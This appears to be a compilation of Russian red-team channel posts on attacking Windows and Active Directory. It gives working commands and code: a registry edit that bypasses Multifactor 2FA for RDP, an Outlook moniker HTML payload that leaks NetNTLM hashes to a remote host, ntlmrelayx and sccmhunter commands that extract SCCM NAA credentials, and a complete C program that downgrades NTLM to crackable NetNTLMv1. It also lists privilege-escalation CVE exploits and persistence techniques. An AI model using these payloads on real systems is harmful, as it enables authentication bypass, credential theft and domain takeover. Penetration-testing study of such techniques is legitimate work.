RedTeam brazzers

Всем привет!

Помимо стандартных компонентов Windows, на системе могут работать службы от сторонних поставщиков: системы слежения, настройки, управления, игрушки. В большинстве своем они также предоставляют опасность, работая от лица NT AUTHORITY\SYSTEM.

Причем, как я понимаю, подобные службы обновляться должны самостоятельно с помощью соответствующего фирменного ПО, что усложняет процесс управления уязвимостями и потенциально дает нам еще один вектор повышения привилегий.

Есть достаточно много способов сбора информации о ПО на системе:

# Извлечение из реестра
Get-ChildItem "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" | Get-ItemProperty | Where-Object {$_.DisplayName -ne $null} | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate

# wmi
wmic product get name,version,vendor  

# Seatbelt
.\SeatBelt.exe InstalledProducts

Хочу поделиться с вами небольшим списочком уязвимых служб, которые могут помочь взять систему на конечной тачке. Однозначно нужно интегрировать этот список в репозиторий Exploit-Street, но я что-то не могу придумать как. Может быть у вас есть идеи?

ManageEngine ServiceDesk
- https://github.com/horizon3ai/CVE-2021-44077

ManageEngine ADSelfService
- https://github.com/synacktiv/CVE-2021-40539
- CVE-2022-47966
- CVE-XXXX-XXXX (с версии ADSelfService Plus 4.2.9, 2012 и до версии 6.3 Build 6301)

UserManager
- CVE-2023-36047

ITunes
- CVE-2024-44193

Razer ( до 3.7.1209.121307)
- RazerEoP

Datacard XPS Card Printer Driver
- CVE-2024-34329

AppGate
- CVE-2019-19793

Seagate
- CVE-2022-40286

AWS VPN Client
- CVE-2022-25165

AIDA (уязвимы версии ниже 7.00.6742)
- AIDA64DRIVER-EOP

VboxSDS
- CVE-2024-21111

TeamViewer
- CVE-2024-7479 CVE-2024-7481

GamingService от XBOX
- GamingServiceEoP
- GamingServiceEoP5

Chrome Updater
- CVE-2023-7261

Plantronics Desktop Hub
- CVE-2024-27460

Всё чаще на проектах встречаю 2FA на критичных серверах , на которые хочется войти именно по RDP, например, Kaspersky Security Center. Наиболее популярное решение, встречаемое мною, это Multifactor. На одном из последних проектов с коллегой мы попали как раз в такую ситуацию - у нас уже были права админа домена, но по RDP не зайти, пришлось искать пути обхода.
А ларчик то просто открывался. Идём на сайт продукта в раздел документации и видим интересный параметр NetworkBypassList. Да, все верно, он определяет с каких ip можно ходить, игнорируя 2FA.
С помощью reg.py можем записать в реестр на нужном сервере исключение и без проблем подключиться игнорируя Multifactor.

reg.py domain.local/pentest@ksc01 -k -no-pass add -keyName 'HKCR\CLSID\{7a6b350e-2fb5-4b07-bcc2-7413ced94def}' -v 'NetworkBypassList' -vt REG_SZ -vd 10.10.10.11,10.10.8.22

Мораль: очень часто не нужны глубокие ресерчи, а просто достаточно почитать документацию :)

Вредоносные конфигурации VPN клиентов

Каждый час приближает нас к использованию альтернативных фишинговых нагрузок взамен привычным макросам. Выходили исследования про LNK, ZIP, RAR, REG, MSIX и множеству других файловых форматов, каждый из которых предлагал новый оригинальный способ получения заветного шелла. Этим все не ограничилось, и не так давно стала популярна тема вредоносных VPN-конфигураций или даже полноценных VPN-серверов, как продемонстрировал нам NachoVPN.

Однако инструмент направлен на серьезные коммерческие VPN-решения: Cisco, SonicWall, PaloAlto, PulseSecure. Они удобны, но возможность их покупки несколько ограничена в последнее время)))) Поэтому в инфраструктуре встречаются WireGuard и OpenVPN. Как можно атаковать их?

Для OpenVPN существуют ключевые слова up и down, которые позволяют исполнять команду при поднятии и выключении интерфейса соответственно. Для WireGuard аналогично — PostUp / PostDown. На фотографиях доказательство успешной эксплуатации, а здесь можно найти примеры конфигурационных файлов.

Переделываем Impacket под кастомный транспорт

Всеми любимый инструмент бокового перемещения активно использует RPC в качестве транспорта для взаимодействия с целевым сервером. Однако используются стандартные конечные точки, которые могут активно мониториться. Сюда входят \PIPE\lsarpc , \PIPE\efsrpc, \PIPE\samr и иные.

Сам по себе процесс подключения достаточно прост. Тебе нужно знать String Binding, по которому слушает целевой RPC-сервер, а также его UUID для подключения.

Таким образом нам было бы интересно найти еще какой-нибудь String Binding, по которому слушает интересующий нас RPC-сервер.

Есть путь простой, есть путь самурая. Путь простой: использовать RPCView, RPC Investigator и иные GUI-тулзы для ручного выбора нужного эндпоинта и просмотра слушающих интерфейсов. С Linux - rpcdump.py , rpcmap.py . Автоматизация поиска - NT Object Manager:

 $rpc = ls "C:\Windows\system32\*" -Include "*.dll","*.exe" | Get-RpcServer
$rpc | ? {($_.InterfaceId -eq 'e3514235-4b06-11d1-ab04-00c04fc2dcd2')}

Впрочем есть и более интересный вариант. Самурай не будет осуществлять аккуратный подбор целевого эндпоинта, а запустит брутфорс. Наиболее популярными являются два транспорта: ncacn_ip_tcp (обычный TCP-коннект) и ncacn_np (Named Pipes). Например, если инструмент работал через ncacn_np, то можно попробовать его переделать на ncacn_ip_tcp следующим образом:
1. Запоминаем UUID целевого интерфейса RPC-сервера
2. Генерируем различные варианты RPC String Binding типа ncacn_ip_tcp, выбирая все открытые на системе порты (обязательно обратить внимание на порты DCERPC)
3. Пытаемся забиндиться по каждому RPC String Binding к целевому UUID
4. Если RPC-сервер поддерживает прослушивание на этой конечной точке, то мы к нему успешно подключимся и сможем пользоваться функционалом

Таким методом на днях родился POC на исполнение метода ATEXEC через DCERPC.

Если же хотим переделать с ncacn_ip_tcp на ncacn_np, то нужно брутфорсить не порты, а имена пайпов. Такой функционал есть в RemotePipeList , msf (auxiliary/scanner/smb/pipe_auditor) , а сам словарик можно достать из /usr/share/metasploit-framework/data/wordlists/named_pipes.txt .

Однако не стоит забывать, что обычным TCP и Named Pipes RPC не ограничивается, а предоставляет намного больше различных транспортов.

Всем привет! Наш друг Дмитрий Неверов написал книгу «Идём по киберследу: Анализ защищенности Active Directory c помощью утилиты BloodHound»!

Уже сейчас ее можно оформить по предзаказу, а встреча с автором с представлением книги запланирована на 10 декабря в 11 часов в Музее Криптографии! Приглашены все :))

Официальный анонс тут:
https://t.me/cyb3r53cr3t5/207

Регистрация на TimePad:
https://bastion-tech.timepad.ru/event/3131987/

Мы уже много раз говорили про проблемы с NetNTLMv1 (1, 2, 3), поэтому давайте сегодня разберемся все таки от куда они берутся и ответим еще на пару вопросов.
Включение и отключение NetNTLMv1 аутентификации управляется через политику (Computer Configuration -> Windows Settings -> Security Settings -> Local Policies -> Security Options -> Network security: LAN Manager authentication level). Политика может быть локальной или групповой, так же устанавливает значение реестра MACHINE\System\CurrentControlSet\Control\Lsa\LmCompatibilityLevel в 4,0 или 4,1
4,0 - Отправляет LM и NTLM ответы
4,1 - Отправляет LM и NTLM, использует NTLMv2 если поддерживается
Следовательно, если есть возможность, то стоит прочитать данный ключ реестра через службу удаленного реестра на всех машинах в домене... но есть ли способ проще?
На самом деле есть! В больших корпоративных сетях данная настройка скорее всего будет раскатываться через групповую политику, а групповая политика будет храниться на контроллерах домена и доступна для чтения всем пользователям.
Более того, с помощью групповых политик можно применить данную настройку не ко всему домену, а например к маленькой группе машин, объеденных в OU.
Специально для поиска таких GPO вы можете использовать инструмент GPOHunter https://github.com/PShlyundin/GPOHunter.
P.S. инструмент еще будет дорабатываться, но уже сейчас, помимо NetNTLMv1, он поможет найти вам GPO хранящие пароль локальных УЗ (MS14-025), а так же выявит использование reversible encryption и к кому оно применяется.

Всем привет!

С каждым днем лица людей на улице все более сердитые и угрюмые, кое-где успел выпасть снег, а некогда теплые осенние вечера сменились тоскливыми снежными сумерками.

В такое время очень не хватает хорошего списка LPE эксплойтов под винду.

К великому сожалению, я не смог обнаружить актуальный поддерживаемый список сплойтов 2023-2024 годов, впрочем, благодаря каналу 1N73LL1G3NC3, который был предательски снесен администрацией Telegram, у меня получалось достаточно оперативно пополнять свой небольшой лист с гитхабовскими POC.

Поэтому я принял решение о создании своего списка с LPE сплойтами под винду. Получилось собрать практически все POCи, которые выходили с 2023 года.

Ознакомиться можно тут:
https://github.com/MzHmO/Exploit-Street

Последнее время на ИБ конфах самые популярные темы: осинт, социалка и выгорание. Постараюсь быть в тренде и расскажу о разведке внутри инфры.
1. Часто бывает только одна непривилегированная УЗ , но очень хочется использовать её по полной. Как правило, всем учетным записям в домене разрешено ходить по RDP на терминальный сервер, но как найти терминальные серверы?
Для того что бы на Windows Server по RDP могло ходить много пользователей необходимо приобрести лицензию у Microsoft для создания терминального сервера. Данное действие оставляет следы, их и будем искать. Машинные учетные записи терминальных серверов состоят в группе Terminal Server License Servers достаточно найти их всех и попробовать сходить по RDP. Для поиска можно использовать ldapdomaindump или сделать ldap запрос:

go-windapsearch/windapsearch -d domain.local -u user -p 'P@ssw0rd' -m custom --filter="(&(objectClass=computer)(memberOf=CN=Terminal Server License Servers,CN=Users,CN=Builtin,DC=domain,DC=local))" --attrs dNSHostName

Ну или команда qappsrv [/domain:office.local]
2. Тоже самое с серверами MSSQL в сети, очень часто видел как группа domain users имеет право авторизоваться. Да, дальше прав на доступ к данным нет, но зачем они нам, когда есть MSSQL links, Impersonate privs, xp_dirtree, dbowner, etc...
Для того что бы найти много MSSQL, в том числе не на стандартных портах, можно использовать ldap запрос:

go-windapsearch/windapsearch -d domain.local -u user -p 'P@ssw0rd' -m custom --filter="(&(objectClass=computer)(servicePrincipalName=*MSSQLSvc/*))" --attrs dNSHostName,servicePrincipalName

На скриншоте приведен пример, как можно найти mssql на нестандартных портах.
3. Какой ваш любимый C2? Cobalt, Havoc, может всеми любимый sliver? Лично мой самый любимый - Kaspersky Security Center (KSC). Очень часто он любезно предустановлен в инфраструктуре и готов к работе, сразу подключено много агентов и уже собрано много информации. Кстати, если не можете найти в инфре KSC, то просто зайдите на любой хост и ПКМ по значку в трее покажет где KSC. Раньше для поиска нужного пользователя в домене я использовал скрипт Invoke-UserHunter, но очень часто корректная сегментация сети не позволит вам со своей машины дотянуться до нужных сегментов. Поэтому хорошая идея использовать встроенный поиск в KSC, ПКМ по Сервер администрирования -> Найти -> Вкладка "Пользователи" и ищем на каких машинах был залогинен нужный пользователь.

Всем привет!

Существует (не сказать, что уж очень популярный) способ закрепления под названием "COM Hijacking". Его основная суть заключается в подмене библиотеки с функционалом COM-класса. Атакующие устанавливают свою библиотеку, она подгружается в целевой процесс, дергающий подмененный функционал и получают исполнение.

Однако в один прекрасный осенний вечер мне стало скучно, я открыл Process Explorer и нашел альтернативу — TypeLib Hijacking. Вместо изменения библиотеки COM мы можем подменять TypeLib, что будет чуть более безопасно и потенциально не сломает никакой функционал :))

Так родился новый способ закрепления - TypeLib Hijacking. Для обнаружения потенциальных библиотек для подмены был разработан инструмент TypeLibWalker.

Описал тут, приятного чтения 🧑‍💻

https://medium.com/@cicada-8/hijack-the-typelib-new-com-persistence-technique-32ae1d284661

Всем привет!

На днях привезли новые CLSIDы, которые можно абузить с помощью RemoteKrbRelay. Для гарантированной эксплуатации требуется наличие нашего пользователя в одной из привилегированных групп:
- Distributed COM Users;
- Performance Log Users.

Однако этот список не ограничивается только этими группами! При установке различных служб (по типу SCCM) меняется DACL на DCOM-объекты. Поэтому существуют еще привилегированные группы, с членством в которых мы можем без проблем триггерить чужие компы. К таким группам относятся:
- Remote COM Users;
- RDS Remote Access Servers;
- RDS Endpoint Servers;
- RDS Management Servers;
- SMS Admins.

Есть и более простой способ проверки: если на хост нас пускает через DCOMExec, то скорее всего сработает и триггер с помощью RemoteKrbRelay.

Вопрос остается один. Где тренироваться? С удивлением для себя обнаружил полноценную машину, которая решается через RemoteKrbRelay.

Отдельно хочу отметить, что MS пока не ввела никаких защит от Reflection-атак на протокол Kerberos, в отличие от NTLM. То есть, NetNTLM мы сами на себя релеить не можем, а керберос можем :))) Таким образом можно попробовать захватить домен даже из одной машины 🙂

Офенсив моникеры.

Внутри систем Windows существует один интересный механизм под названием моникеры. Моникеры представляют собой отдельную сущность в COM. Они позволяют идентифицировать конкретный COM-объект (или даже полноценно его реализовывать) в виде простой строки. Просто одной строки :)

Это удобно, как минимум потому, что тебе не нужно знать CLSID (который, кстати, может меняться). Достаточно разве что нужной строки.

Впрочем, как и любой другой функционал винды, моникеры активно абузятся атакующими. Я нарыл три варианта злоупотребления:

1. UAC Bypass. Отдельный класс моникеров - Elevation Moniker. Они позволяют инстанцировать объекты в процессе с более высоким уровнем целостности, что и приводит к обходу UAC. Эти объекты достаточно легко найти. И есть даже инструмент MonikerHound для обнаружения подобных объектов. Примеры UAC Bypass с помощью Elevation Moniker можно найти тут и тут. Подробное описание можно найти в статье на хакере.

2. Кража сессий. Существует Session Moniker, позволяющий инстанцировать COM-объект внутри чужой сессии. Так мы можем с помощью Session Moniker создать в чужой сессии объект с методом ExecuteInCmd() , вызвать его и исполнить код в чужой сессии. Пример кода мы публиковали тут. А о внутренней реализации Session Moniker (фактически, что у IHxExec под капотом) я писал тут. Наконец, в только что вышедшей статье на хакере глянули еще способы абуза сессий через COM.

3. Утечка NetNTLM-хешей. Не так давно в Outlook был баг: Moniker Link Bug. Его использование позволяло сделать утечку NetNTLM-хешей при добавлении HTML-тега в письмо:

<a href="file:///\\10.10.111.111\test\test.rtf!something">CLICK ME</a>

Как это работало? Строку \\10.10.111.111\test\test.rtf!something до знака ! Outlook воспринимал как файловый моникер (то есть, COM объект как бы представлен в файле), а something как Item Moniker (это вообще COM-объект в некотором контейнере, внутри клеток таблицы Excel например). При этом, если бы в теге висело просто \\10.10.111.111\test\test.rtf , то это был бы обычный путь, а не моникер :)

Соответственно, Outlook начинал парсить эту строку, получал моникер и пытался обратиться по пути для инициализации File Moniker, что приводило к утечке NetNTLM-хеша. Подробнее про эту багу можно почитать тут.

Если уж прям совсем честно говорить, то Outlook видел файловый моникер на .rtf файл и в фоне запускал процесс Microsoft Word, который уже пытался открыть файл по UNC-пути. И именно из него летели хеши :)

Всем привет!

Помните те огромные Github-репозитории со списками Cypher-запросов для Bloodhound? От CompassSecurity, knavesec, mgeeky. Ведь именно к ним приходится прибегать, когда стандартный "Shortest Path From Owned to Domain Admins" не работает. Впрочем каждый раз искать нужный запрос как-то... не по-хакерски что-ли :) Нужно научиться писать их самому.

Мой хороший друг Дмитрий Неверов выступил на прошедшем VolgaCTF с прекрасным воркшопом: Язык запросов Cypher глазами ИБ. Рекомендую к просмотру всем, кто очень давно хотел изучить Cypher, но никак не мог заставить себя ;)

Ретрансляция Kerberos. Хаброразбор.

После пучины долгих раздумий и определенных сложностей с новым инструментом для редактирования текстов на хабр, я хочу представить вам статью про релей кербероса. Если вы до сих пор откладывали эту интереснейшую тему для изучения, то пора взять себя в руки и погрузиться в глубины кербероса, DCOMа и релеев!

Вчера вышел еще один POC на Kerberos Relay — KrbRelay-SMBServer. Этот инструмент также не остался без внимания и я не забыл упомянуть его в статье.

Читать тут:

https://habr.com/ru/articles/848542/

Всех с понедельничним обзором картошек!!! :)

Зачастую наличие привилегии SeImpersonatePrivilege ведет к повышению привилегий до системы. Однако я нигде не видел достаточно структурированной информации, в которой описывались бы не сами инструменты, а общий принцип их работы. Пора исправлять :)

Концептуально потатосы можно разделить на:
- DCOM-Based - огромная часть сплойтов абузит именно DCOM. Там в нескольких местах у нас вылезает аутентификация, выстраивается контекст, и из него уже можно извлечь токен. Примерно того же принципа придерживается и Krb Relay-штуки. Разве что мы там ловим тикет и идем с ним куда-нибудь, а здесь мы атакуем локальную систему. Как — узнаете уже очень скоро :)) Прошу прощения, видос с UnderConf задерживается, но я уже активно занимаюсь перегонкой материала в текстовый формат на хабре, с добавлением всяких штучек-дрючек :) Сюда входят JuicyPotatoNG, RottenPotato, LonelyPotato, JuicyPotato, RemotePotato, SweetPotato, GodPotato, RoguePotato, LocalPotato
- Через кражу токена. Но это более редкий чейн, если у нас есть еще и SeDebugPrivilege, то мы можем стащить с любого чужого процесса токен и нацепить на свой пейлоад через CreateProcessWithTokenW(). POC
- Захват WPAD-аутентификации с NTLM Reflection атакой. Метод был пропатчен в MS16-075. Впрочем, POC HotPotato есть.
- Злоупотребление кешем LSA. Для предотвращения атак NTLM Reflection майкрософты придумали ввести некоторый список ресурсов, который хранился внутри LSA. Все заключалось в том, что LSASS стал хранить в кэше список всех недавно выданных NTLM Challenges с соответствующей службой, чтобы обнаружить попытки NTLM Reflection. Собственно, проводя сопоставление между челленджем и службой, на которой происходит аутентификация, можно было определить атаку. Косяк заключался в том, что кеш имел достаточно маленькое время жизни (300 секунд), после чего очищался. Хакеру оставалось разве что подождать это время, после чего дернуть LSA и эскалироваться. POC называется GhostPotato. Метод тоже уже пропатчен.
- Злоупотребление функциями имперсонации. В OSEP с нами делились сплойтом PrintSpoofer. Кто забыл, это вариант эксплуатации SeDebug через вызов функции принтера, которая принимает конкретную конечную точку — именованный канал (пайп). Хакер поднимал собственный пайп, триггерил функцией систему , и система приходила на пайп. Хакеру оставалось разве что вызвать ImpersonateNamedPipeClient() для захвата учетной записи. Мало кто знает, но есть и другие уязвимые службы! DiagTrack — DiagTrackEop, RasMan service — RasmanPotato, AzureAttestService — magicAzureAttestService. Но не пайпами едиными. В COM тоже есть функция по имперсонации, называется CoImpersonateClient(), ею злоупотребляли в DCOMPotato .

Наконец, есть и более общий вариант, который лишь поднимает службы HTTP и SMB. Как заставить систему зайти на них — дело ваше. В случае HTTP отдастся 401 запрос с захватом аутентификации, в случае SMB — имперсонация. Такая картошка называется GenericPotato

Всем привет! Уже 29 сентября пройдет конференция UnderConf . На нее пойду и я, с докладом :) Приглашаю дорогих подписчиков присоединиться!

Сделаю разбор недавно вышедшего инструмента RemoteKrbRelay. Расскажу принцип его работы, вместе с вами погрузимся в глубины DCOMа, подробно изучим ранее вышедшие способы принудительной аутентификации через DCOM, найдем варианты защиты, изучим уже установленные патчи и предложим варианты обхода. Скучно не будет :)) Приходите 🙂

Видеокамеры не брать! Организаторы обещают запись всех докладов. Сможете дома вечерком с чаем пересмотреть :)

Эксплуатация ядерных уязвимостей - довольно рискованное дело, особенно когда нет уверенности, что эксплойт отработает корректно.
@hummelchen0 специально для нашего сообщества разобрал вопрос применения таких эксплойтов в статье (https://hummelchen.gitbook.io/linux_lpe) "Ядерные LPE в Linux на практике". В ней вы сможете узнать, как на своей системе протестировать ядерный сплойт для практически любого ядра Linux и автоматизировать такие проверки для самых популярных дистрибутивов.

Всем привет!

Прошедший на OFFZONE воркшоп по картошкам навел меня на мысль о том, что следует автоматизировать процесс ресерча COMов как можно лучше и как можно с больших сторон.

На тот момент у меня уже были небольшие наработки, однако, они в большинстве своем валялись без дела. Я решил исправить это.

Я объединил свои инструменты по нахождению интересностей в COM в небольшой репозиторий, который назвал COMThanasia. На данный момент там пять тулз:
- PermissionHunter - позволяет обнаруживать кривые права (LaunchPermission и AccessPermission) на COM-объекты. Фактически, это Checkerv2.0 из RemoteKrbRelay :)
- ComDiver - автоматический анализ прав на ключи реестра, по которым зарегистрированы COM-классы. Причем анализ ведется в соответствии с приоритетами, по которым система осуществляет поиск COM-класса. Удобно использовать для (Shadow) COM Hijacking.
- MonikerHound - инструмент для поиска собственного способа UAC Bypass через Elevation Monikers. Об этом варианте UAC Bypass я писал тут
- ClsidExplorer - анализ и вычленение методов COM-класса для обнаружения интересных фич :) Отлично для работы в группе с ComTraveller/PermissionHunter
- ComTraveller - анализ всех COM на системе на предмет наличия TypeLib, значения ключа Runas (The Interactive User или NT AUTHORITY\SYSTEM ведет к LPE), а также возможности кросс-сессионной активации, как было в LeakedWallpaper

Так вы можете несколько автоматизировать процесс обнаружения мисконфигов в COM :)

Помимо того, там есть небольшой трюк по получению PID процесса, в котором инстанцирован COM-класс, что позволяет исследовать COMы с новой стороны

А если бы я релизнул это чуть раньше, то кто-нибудь точно нашел CVE-2024-38100 (FakePotato) и CVE-2024-38061 (SilverPotato) 🤪

Думаете, что нейминг атак на ADCS дикий, неудобный и само его появление — ошибка?

В чем-то я с вами согласен, ты банально пропускаешь определенные атаки или не понимаешь, как их записывать. Казалось бы, сначала шли ESC1-11, потом вышла CVE-2022-26923 и что это? ESC12? А если у нас есть права на запись и захватываем ADCS через запись нового значения в CRLPublicationURLs? В общем, путаница есть и как ее решать не особо понятно.... По идее это ESC5 🤔🙂

Однако, это далеко не единственный сервис, атаки на который имеют столь неудобный нейминг :)

Оказывается, атаки на SCCM также распределены и раскиданы по категориям:
- CRED - атаки на получение учетных данных;
- EXEC - атаки типа Lateral Movement и иного варианта исполнения на целевом сервере;
- RECON - методы обнаружения служб SCCM;
- TAKEOVER - варианты захвата сайта SCCM.

Подобное именование уже не покрывает некоторое количество атак, например, нет никакой CRED-техники под извлечение учетных данных из Device Collection Variables, TaskSequence.

Впрочем, это вводит хоть какую-то структуру и позволяет более точечно общаться на тех же собесах.

Список техник с их описанием представлен в репозитории, помимо того, авторы любезно предоставили скрипт для автоматического обнаружения мисконфигураций в SCCM.

А еще давным-давно выходила статья про соединение Neo4J и SCCM :) Однако материал уже очень старый, поэтому нужно ресерчить эту тему с нуля

Всем привет! Давным-давно появился инструмент msi_search, который создали mandiant для анализа установленных MSI-файлов на системе. Впоследствии эти файлы можно было выкачать и проанализировать на предмет уязвимостей. Подобный вектор привеска достаточно не самый примитивный и обычный, однако, я не раз встречал интересные инсталляторы, которые нужно было как-то сломать :)

Сам формат MSI предательски похож на формат SQL, что упрощало написание автоматизированного чекера на уязвимости. Так родился инструмент MyMSIAnalyzer , я научил его:
- Обнаруживать оставленные учетные данные внутри MSI-файла
- Анализировать CustomActions на предмет наличия действий, исполняемых от лица системы
- Проверять возможность перезаписи CustomActions, что может использоваться как для повышения привилегий, так и закрепления
- Проверка сигнатур (нужно в контексте MST Backdoor), а также отдельная программа для обнаружения GUI внутри MSI, ведь в таком случае возможно осуществить побег в cmd.exe через запуск explorer.exe

Полный разбор MSI-файлов как вектора повышения привилегий я выложил на medium. Приятного чтения :))

Мейнфреймы IBM на базе операционки z/OS могут показаться вымершими динозаврами из глубокого прошлого. Однако велики шансы, что в сердце ваших бизнес-процессов жужжат именно эти шкафы. Их можно встретить во многих крупных организациях, где требуется обработка большого количества транзакций (банки, биржи, аэропорты и др.)

Из-за высокой стоимости и узкой специализации мейнфреймы редко встречаются в проектах по анализу защищённости. Поэтому в публичном доступе очень мало знаний о том, как тестировать мейнфреймы на проникновение и как детектировать атаки на них.

Наш эксперт Денис Степанов собирает такие знания – всё, что понадобится пентестеру, чтобы получить контроль над мейнфреймом, повысить привилегии, найти возможные вектора для бокового перемещения и эксфильтровать данные:
https://securelist.ru/zos-mainframe-pentesting/110237/

Продолжим тему интересных вопросов с собесов, которые когда-то не вошли в подкаст :)) Думаю, все знают про MachineAccountQuota — количество компьютерных УЗ, которые могут добавлять пользователи в домен. Дефолтное значение 10. Однако, как этим злоупотреблять? В основном все вспоминают следующие основные кейсы:
- NTLM Relay / иной функционал абуза , для эксплуатации которого требуется компьютерная учетная запись, например, настройка RBCD
- Небезопасные ACL компьютерных учетных записей домена

Впрочем, есть еще один интересный вектор, который связан с SCCM и NAA (Network Access Accounts). Это специальные аккаунты, которые предоставляются SCCMом для того, чтобы клиент мог получить доступ к Distribution Point для загрузки необходимых файлов. Учетные данные от NAA в большинстве своем пушатся абсолютно на все компьютеры, управляемые SCCMом.

Если вдруг у передаваемой учетки недостаточно порезаны права, то у нас появляется вектор повышения привилегий :)

Итак, кейс первый. MAQ > 0 (или мы хакнули компьютерную УЗ). В таком случае берем инструмент sccmhunter и запускаем его следующим образом:

python sccmhunter.py http -auto -u pentest -p lolkekcheb123! -d abc.ru -dc-ip 192.168.0.1

Ключ -auto автоматически создаст УЗ. Можно указать уже существующую через -cp , -cn.

Однако, что если MAQ = 0? В таком случае мы можем осуществить ретрансляцию существующих кред любой машинной УЗ на SCCM и извлечь NAA-креды. Для этого берем форк , запускаем:

python3 ntlmrelayx.py -t http://sccm.sccmlab.local/ccm_system_windowsauth/request --sccm --sccm-device test12345 --sccm-fqdn sccm.sccmlab.local --sccm-sleep 10 -smb2support

-t <- Site Server, на который релеим
—sccm-device <- произвольное имя, которое появится в админке SCCM. Это имя как бы добавляемого устройства
—sccm-sleep <- таймаут, в течение которого ждать получения политики

Далее триггерим любым удобным способом любой компьютер. ntlmrelayx сдампит для нас любезно файл naapolicy.xml с учетными данными от NAA-аккаунта, которые можно расшифровать так, как показано в блоге.

Открытая лекция сообщества RTB про радужные таблицы, как они работают, где лучше всего применяются и некоторые мысли по поводу сервиса crack.sh.

Совсем недавно Миша выложил инструмент LeakedWallpaper, а я уже успел применить его на проекте. Все отработало отлично! Но зачем нам нужен NetNTLMv2 хеш? Давайте подумаем, как можно улучшить технику, если на компе злющий EDR, но зато есть права local admin. С правами local admin вы можете с помощью манипуляции ключами реестра сделать downgrade NTLM аутентификации до NetNTLMv1 и получить уже хеш, который можно восстановить в NTLM хеш в независимости от сложности пароля пользователя. Для этой цели я написал небольшую программу, которая бэкапит текущие настройки реестра, затем делает downgrade и через 60 сек восстанавливает все обратно.

#include <stdio.h>
#include <windows.h>
#include <winreg.h>
#include <stdint.h>
#include <unistd.h> // для функции sleep

void GetRegKey(const char* path, const char* key, DWORD* oldValue) {
    HKEY hKey;
    DWORD value;
    DWORD valueSize = sizeof(DWORD);

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_READ, &hKey) == ERROR_SUCCESS) {
        RegQueryValueEx(hKey, key, NULL, NULL, (LPBYTE)&value, &valueSize);
        RegCloseKey(hKey);
        *oldValue = value;
    } else {
        printf("Ошибка чтения ключа реестра.\n");
    }
}

void SetRegKey(const char* path, const char* key, DWORD newValue) {
    HKEY hKey;

    if (RegOpenKeyEx(HKEY_LOCAL_MACHINE, path, 0, KEY_WRITE, &hKey) == ERROR_SUCCESS) {
        RegSetValueEx(hKey, key, 0, REG_DWORD, (const BYTE*)&newValue, sizeof(DWORD));
        RegCloseKey(hKey);
    } else {
        printf("Ошибка записи ключа реестра.\n");
    }
}

void ExtendedNTLMDowngrade(DWORD* oldValue_LMCompatibilityLevel, DWORD* oldValue_NtlmMinClientSec, DWORD* oldValue_RestrictSendingNTLMTraffic) {
    GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", 2);

    GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", 536870912);

    GetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", 0);
}

void NTLMRestore(DWORD oldValue_LMCompatibilityLevel, DWORD oldValue_NtlmMinClientSec, DWORD oldValue_RestrictSendingNTLMTraffic) {
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa", "LMCompatibilityLevel", oldValue_LMCompatibilityLevel);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "NtlmMinClientSec", oldValue_NtlmMinClientSec);
    SetRegKey("SYSTEM\\CurrentControlSet\\Control\\Lsa\\MSV1_0", "RestrictSendingNTLMTraffic", oldValue_RestrictSendingNTLMTraffic);
}

int main() {
    DWORD oldValue_LMCompatibilityLevel = 0;
    DWORD oldValue_NtlmMinClientSec = 0;
    DWORD oldValue_RestrictSendingNTLMTraffic = 0;

    ExtendedNTLMDowngrade(&oldValue_LMCompatibilityLevel, &oldValue_NtlmMinClientSec, &oldValue_RestrictSendingNTLMTraffic);

    // Задержка 60 секунд
    sleep(60);

    NTLMRestore(oldValue_LMCompatibilityLevel, oldValue_NtlmMinClientSec, oldValue_RestrictSendingNTLMTraffic);

    return 0;
}

Компилируем так

x86_64-w64-mingw32-gcc -o ntlm.exe ntlm.c

В итоге мне удалось получить NetNTLMv1 хеш небрутабельного пароля привилегированной УЗ и восстановить NTLM хеш в течении 10 часов. Profit!
Ну или для совсем ленивых добавили флаг -downgrade прямо в инструмент LeakedWallpaper :)
P.S. Не забывайте добавлять привилегированные УЗ в Protected Users.

При разборе атак на ADCS очень часто фигурирует фраза "Smart Card Logon". Например, одним из требований к абузу ESC1 — наличие Smart Card Logon EKU. Несложно догадаться, что этот EKU позволяет аутентифицироваться в среде AD с использованием смарт-карты.

Однако что делать, когда перед нами компьютер с шеллом от системы, пользователь, не знающий своего пароля, и смарт-карта в ее великолепном исполнении на физическом носителе?

Этот вопрос достаточно долго у меня оставался без ответа, но совершенно случайно, исследуя сегодняшним утром просторы Github, я наткнулся на инструмент PinSwipe , который позволяет хукать функцию SCardTransmit() и извлекать данные о смарт-карте. Впоследствии с этими данными можно спокойно пройти аутентификацию в доменной среде с помощью того же Rubeus.

Таким образом появляется возможность перехвата данных физической смарт-карты и захвата учетки целевого пользователя.

Сижу думаю 🤔.
а) Можно ли эту технику закрыть как THEFT6? К THEFT1 не подходит, THEFT2 - не DPAPI/SSPI, THEFT3 - не машинная УЗ, THEFT4 - не в системе, THEFT5 - без NTLM хеша. Получается что новая техника...
б) С помощью ETW в Windows логируется практически все что можно и нельзя. В том числе NetNTLM-хеши . А логируется ли инфа о смарт-картах? :)

😈 [ Nic Losby @ DEFCON @Blurbdust ]

And a small update, generation is over halfway and will actually finish! A release of a torrent should be out before the end of the year!

🐥 [ tweet ][ reply ]

(про те самые радужные таблицы crack.sh 🏳️‍🌈)

Очень ждём!))

RCE через Microsoft SharePoint Server 2019

Microsoft SharePoint — веб-платформа для совместной работы, управления документами и организации совместного доступа к информации в организациях, которая широко используется в корпоративной среде.

Недавно увидел интересные CVE которые затрагивают эту веб-платформу:

CVE-2024-38094
CVE-2024-38024
CVE-2024-38023

